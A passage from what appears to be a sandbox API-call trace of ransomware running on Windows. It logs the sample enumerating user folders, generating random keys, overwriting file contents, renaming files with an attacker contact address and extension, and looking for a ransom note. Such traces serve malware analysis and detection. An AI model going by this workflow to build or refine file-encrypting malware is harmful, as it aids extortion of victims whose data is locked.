TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0174.140] wcscat (in: _Dest=0x2f973d8, _Source="dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" [0174.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f973d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0174.141] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x606a8430, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0xb17891b0, ftLastAccessTime.dwHighDateTime=0x1d4d4f2, ftLastWriteTime.dwLowDateTime=0x84f7e554, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12873, dwReserved0=0x0, dwReserved1=0x0, cFileName="h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="H5D0QJ~1.D0E")) returned 1 [0174.141] wcscmp (_String1="h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.141] wcscmp (_String1="h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.141] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd6) returned 0x2f97838 [0174.141] wcscpy (in: _Dest=0x2f97838, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0174.141] wcscat (in: _Dest=0x2f97838, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0174.141] wcscat (in: _Dest=0x2f97838, _Source="h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" [0174.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0174.142] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3dd340, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0x8578a3c3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8578a3c3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="N9niCZFyd 5h8GAXUn0", cAlternateFileName="N9NICZ~1")) returned 1 [0174.142] wcscmp (_String1="N9niCZFyd 5h8GAXUn0", _String2=".") returned 1 [0174.142] wcscmp (_String1="N9niCZFyd 5h8GAXUn0", _String2="..") returned 1 [0174.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2feecc0 [0174.142] wcscpy (in: _Dest=0x2feecc0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0174.142] wcscat (in: _Dest=0x2feecc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0174.142] wcscat (in: _Dest=0x2feecc0, _Source="N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0174.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2feecc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0174.143] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x856cb650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x856cb650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NHaTPIbP", cAlternateFileName="")) returned 1 [0174.143] wcscmp (_String1="NHaTPIbP", _String2=".") returned 1 [0174.143] wcscmp (_String1="NHaTPIbP", _String2="..") returned 1 [0174.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f82988 [0174.143] wcscpy (in: _Dest=0x2f82988, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0174.143] wcscat (in: _Dest=0x2f82988, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0174.143] wcscat (in: _Dest=0x2f82988, _Source="NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0174.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f82988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0174.143] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7458530, ftCreationTime.dwHighDateTime=0x1d4cffb, ftLastAccessTime.dwLowDateTime=0x856cb650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x856cb650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NHaTPIbP", cAlternateFileName="")) returned 0 [0174.144] FindClose (in: hFindFile=0x2f80620 | out: hFindFile=0x2f80620) returned 1 [0174.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022250) returned 1 [0174.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b110) returned 1 [0174.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b390) returned 1 [0174.144] RtlExitUserThread (Status=0x0) Thread: id = 2111 os_tid = 0x11e4 [0173.428] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.428] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0173.429] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x18f7fcdc | out: lpFileSize=0x18f7fcdc*=34660) returned 1 [0173.429] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x8760, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.429] ReadFile (in: hFile=0x37c, lpBuffer=0x18f7fcb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18f7fcac, lpOverlapped=0x0 | out: lpBuffer=0x18f7fcb0*, lpNumberOfBytesRead=0x18f7fcac*=0x4, lpOverlapped=0x0) returned 1 [0173.430] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.430] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.430] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.430] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.430] NtQuerySystemTime (in: CurrentTime=0x18f7fc88 | out: CurrentTime=0x18f7fc88*=132121213307483180) returned 0x0 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x7ef99a0b [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xee8e1c19 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x2ae1aed1 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x6e56aca3 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x95238a6f [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xc7ea9890 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xf0176091 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xebb2e0c3 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xcc6d8499 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x14814dcc [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xf4e21647 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x76bb5d1d [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xf910e5e1 [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xc6ac297d [0173.430] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x8f53bb45 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xb2c0b9c [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xbe8b2a23 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xe9b317e9 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x249730e3 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x200ece17 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x78fc1e18 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x152dce18 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x7135f437 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xfec82cc7 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xd36af480 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xe4a0967a [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xf4b74438 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xc6a238a8 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0xe5d3260d [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x30ce82f2 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x53473d35 [0173.431] RtlRandom (in: Seed=0x18f7fc94 | out: Seed=0x18f7fc94) returned 0x3c90ab3c [0173.440] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.442] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.442] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.442] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.442] ReadFile (in: hFile=0x37c, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18f7fc60, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18f7fc60*=0x4096, lpOverlapped=0x0) returned 1 [0173.442] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.443] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d80 [0173.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0173.443] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.443] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d80 [0173.443] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.443] WriteFile (in: hFile=0x37c, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18f7fc60, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18f7fc60*=0x4096, lpOverlapped=0x0) returned 1 [0173.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.443] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x8764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.444] WriteFile (in: hFile=0x37c, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18f7fc98, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x18f7fc98*=0x20, lpOverlapped=0x0) returned 1 [0173.444] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0173.444] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.444] WriteFile (in: hFile=0x37c, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18f7fcac, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x18f7fcac*=0x8, lpOverlapped=0x0) returned 1 [0173.444] WriteFile (in: hFile=0x37c, lpBuffer=0x18f7fcc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18f7fcac, lpOverlapped=0x0 | out: lpBuffer=0x18f7fcc4*, lpNumberOfBytesWritten=0x18f7fcac*=0x4, lpOverlapped=0x0) returned 1 [0173.444] WriteFile (in: hFile=0x37c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18f7fcac, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18f7fcac*=0x4, lpOverlapped=0x0) returned 1 [0173.444] WriteFile (in: hFile=0x37c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18f7fcac, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18f7fcac*=0x6c, lpOverlapped=0x0) returned 1 [0173.444] WriteFile (in: hFile=0x37c, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18f7fcac, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18f7fcac*=0x20, lpOverlapped=0x0) returned 1 [0173.444] WriteFile (in: hFile=0x37c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18f7fcac, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18f7fcac*=0x4, lpOverlapped=0x0) returned 1 [0173.444] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.444] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.444] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.445] CloseHandle (hObject=0x37c) returned 1 [0173.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6cf60 [0173.445] wcscpy (in: _Dest=0x2f6cf60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" [0173.445] wcscat (in: _Dest=0x2f6cf60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.445] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ts7oo31s1hx4j8dj.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.445] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cf60) returned 1 [0173.446] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8af90 [0173.446] wcscpy (in: _Dest=0x2f8af90, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0173.446] wcscat (in: _Dest=0x2f8af90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0173.446] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0x20 [0173.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8af90) returned 1 [0173.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0abc0) returned 1 [0173.446] RtlExitUserThread (Status=0x1) Thread: id = 2112 os_tid = 0x11e8 [0173.447] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f67db0 [0173.447] wcscpy (in: _Dest=0x2f67db0, _Source="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033" [0173.447] wcscat (in: _Dest=0x2f67db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\" [0173.447] wcscat (in: _Dest=0x2f67db0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*" [0173.447] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020ca8 [0173.447] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0173.450] wcscmp (_String1=".", _String2=".") returned 0 [0173.450] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.450] wcscmp (_String1="..", _String2=".") returned 1 [0173.450] wcscmp (_String1="..", _String2="..") returned 0 [0173.450] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.450] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0173.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020ca8) returned 1 [0173.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67db0) returned 1 [0173.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f62dd0) returned 1 [0173.450] RtlExitUserThread (Status=0x0) Thread: id = 2113 os_tid = 0x11ec [0173.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f62dd0 [0173.454] wcscpy (in: _Dest=0x2f62dd0, _Source="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070" [0173.454] wcscat (in: _Dest=0x2f62dd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\" [0173.454] wcscat (in: _Dest=0x2f62dd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*" [0173.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020ca8 [0173.454] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, 